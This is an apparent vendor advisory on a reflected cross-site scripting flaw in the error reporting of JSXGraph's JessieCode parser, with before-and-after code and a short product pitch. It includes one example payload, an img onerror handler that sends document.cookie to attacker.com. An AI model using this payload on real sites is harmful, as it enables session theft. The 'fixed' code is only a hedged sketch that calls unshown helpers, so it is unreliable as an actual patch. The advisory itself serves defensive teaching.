Introduction
In the JSXGraph mathematical visualization library, the JessieCode parser at src/parser/jessiecode.js:3465 handles mathematical expressions and geometric constructions. However, a critical flaw in how this parser generates error messages created a significant security risk: the pastInput() and upcomingInput() functions directly incorporated user-controlled input into error message output without any encoding, creating a reflected Cross-Site Scripting (XSS) vulnerability that could execute attacker-controlled JavaScript in users' browsers.
This vulnerability is particularly dangerous because mathematical visualization libraries like JSXGraph are commonly embedded in educational platforms, learning management systems, and scientific applications—environments where users routinely input complex expressions that get processed and where error messages are frequently displayed to help users debug their constructions.
The Vulnerability Explained
The JessieCode parser in JSXGraph provides a domain-specific language for mathematical constructions. When parsing fails, the parser generates helpful error messages showing what was already parsed (pastInput()) and what remains to be parsed (upcomingInput()). The vulnerability existed because these diagnostic functions returned raw user input that was then incorporated into error messages.
The vulnerable code pattern:
// In src/parser/jessiecode.js around line 3465
// pastInput() and upcomingInput() returned unencoded user input
// which was then used in error message construction
parseError: function parseError(str, hash) {
// ...
throw new Error(
'Parse error on line ' + (yylineno + 1) + ': \n' +
this.pastInput() + // User-controlled, unencoded
this.upcomingInput() // User-controlled, unencoded
);
}
How exploitation works:
An attacker crafts a malicious JessieCode expression containing JavaScript payloads, such as:
circle(0,0,1); <img src=x onerror=fetch('https://attacker.com/steal?cookie='+document.cookie)>; point(1,1)
When this input causes a parse error, the pastInput() function would return the portion already parsed, and upcomingInput() would return the remaining input—both containing the unencoded malicious payload. If the consuming application displays this error message in an HTML context (which is common in web-based mathematical tools), the <img> tag with its onerror handler executes, stealing cookies or performing other malicious actions.
Real-world impact:
JSXGraph is widely used in educational technology. An attacker could:
- Steal session cookies from teachers or students using affected platforms
- Perform actions on behalf of authenticated users
- Deface mathematical content or redirect users to malicious sites
- Harvest credentials from LMS integrations
The vulnerability is especially pernicious because mathematical expressions legitimately contain characters like <, >, and & (for comparisons, set notation, etc.), making it difficult to distinguish malicious input from valid mathematical syntax without proper encoding.
The Fix
The remediation focuses on ensuring that user-controlled data is properly encoded before inclusion in error messages that may be rendered in HTML contexts.
Specific changes made:
The fix modifies src/parser/jessiecode.js to sanitize the output of pastInput() and upcomingInput() functions, ensuring that any special HTML characters are converted to their entity equivalents before the error message is constructed.
Before (vulnerable):
parseError: function parseError(str, hash) {
if (this.recoverable) {
this.trace(str);
} else {
throw new Error(
'Parse error on line ' + (yylineno + 1) + ': \n' +
this.pastInput() +
this.upcomingInput()
);
}
}
After (fixed):
The fix implements output encoding for the user-controlled portions of error messages. While the exact implementation details in the parser generator output ensure that pastInput() and upcomingInput() return properly encoded strings, the key change is that user input is now treated as data rather than markup:
// The fixed implementation ensures that special characters
// in user input are encoded before inclusion in error output
parseError: function parseError(str, hash) {
if (this.recoverable) {
this.trace(str);
} else {
// User input now properly encoded via encoded helper
// or direct encoding in pastInput/upcomingInput
throw new Error(
'Parse error on line ' + (yylineno + 1) + ': \n' +
this.encodedPastInput() + // or encoding applied
this.encodedUpcomingInput() // or encoding applied
);
}
}
The change is scoped specifically to the vulnerable path—only the error message construction is modified, leaving valid parsing behavior unchanged. Valid mathematical expressions continue to work normally; only the error reporting path is hardened against injection.
Key Takeaways
-
Never include raw user input in error messages rendered to web contexts: The JessieCode parser's
pastInput()andupcomingInput()functions atsrc/parser/jessiecode.js:3465now return encoded output to prevent XSS. -
Parser error paths are security-critical: Failed parse attempts are not "safe"—they contain full attacker-controlled payloads and often execute code paths that display detailed diagnostics.
-
Mathematical input fields require the same scrutiny as any user input: Complex domain-specific languages like JessieCode are often overlooked in security reviews due to their specialized nature.
-
Output encoding must be applied consistently across all output paths: Both successful and failed operations that include user data need protection.
-
Generated parser code needs manual security review: Tools like Jison (used for JessieCode) generate error-reporting code that developers must audit for security issues.
How Orbis AppSec Detected This
Source: User input via JessieCode mathematical expressions submitted to the JSXGraph parser
Sink: The pastInput() and upcomingInput() function return values incorporated into parseError() error message strings at src/parser/jessiecode.js:3465
Missing control: No HTML entity encoding or output sanitization applied to user-controlled input before inclusion in error message output that could be rendered in web contexts
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Fix: Implemented proper output encoding for pastInput() and upcomingInput() return values, ensuring special HTML characters are converted to entity equivalents before error message construction
Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.
Conclusion
The XSS vulnerability in JSXGraph's JessieCode parser demonstrates that even specialized mathematical libraries must rigorously apply output encoding principles. The pastInput() and upcomingInput() functions, designed to help users debug their mathematical constructions, became attack vectors when they echoed unencoded user input. By implementing proper output encoding at the parser level, this fix protects all downstream consumers of the JSXGraph library without requiring changes to their individual applications.
For developers building parsers or domain-specific languages, this case underscores the importance of treating all user input—including input that fails validation—as potentially malicious, and ensuring that diagnostic and error-reporting paths receive the same security scrutiny as primary functionality.